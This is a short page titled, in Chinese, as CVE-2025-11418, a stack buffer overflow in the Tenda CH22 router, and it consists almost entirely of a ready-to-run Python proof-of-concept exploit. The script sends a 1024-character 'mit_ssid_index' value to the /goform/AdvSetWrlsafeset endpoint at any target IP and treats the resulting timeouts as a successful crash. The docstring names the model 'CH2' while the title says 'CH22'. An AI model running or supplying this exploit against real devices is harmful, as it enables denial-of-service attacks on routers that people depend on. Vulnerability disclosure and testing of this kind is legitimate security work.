CVE-2025-11418：Tenda CH22路由器栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-11418 - Tenda CH2 Stack-based Buffer Overflow PoC Vulnerability: Stack buffer overflow in formWrlsafeset function Endpoint: /goform/AdvSetWrlsafeset Parameter: mit_ssid_index """ import requests import sys from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def exploit(target_ip, target_port=80): """ Exploit the stack-based buffer overflow vulnerability in Tenda CH22 router. The mit_ssid_index parameter is passed without proper length validation, causing a stack buffer overflow when processed by formWrlsafeset function. """ target_url = f"http://{target_ip}:{target_port}/goform/AdvSetWrlsafeset" # Construct malicious payload - oversized mit_ssid_index parameter # The buffer overflow is triggered by an excessively long string value payload = "A" * 1024 # Overflow payload length # HTTP request parameters params = { "mit_ssid_index": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "*/*", "Connection": "close" } try: print(f"[*] Targeting: {target_url}") print(f"[*] Sending malicious payload with mit_ssid_index length: {len(payload)}") # Send the exploit request response = requests.get( target_url, params=params, headers=headers, timeout=10, verify=False ) print(f"[*] Response status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") if response.status_code == 200: print("[+] Request sent successfully") print("[!] Check if the device crashed or service is disrupted") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target may have crashed - connection timeout (possible DoS)") except requests.exceptions.ConnectionError as e: print(f"[+] Connection error - target may be unresponsive: {e}") except Exception as e: print(f"[-] Error: {e}") def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [target_port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target_ip, target_port) if __name__ == "__main__": main()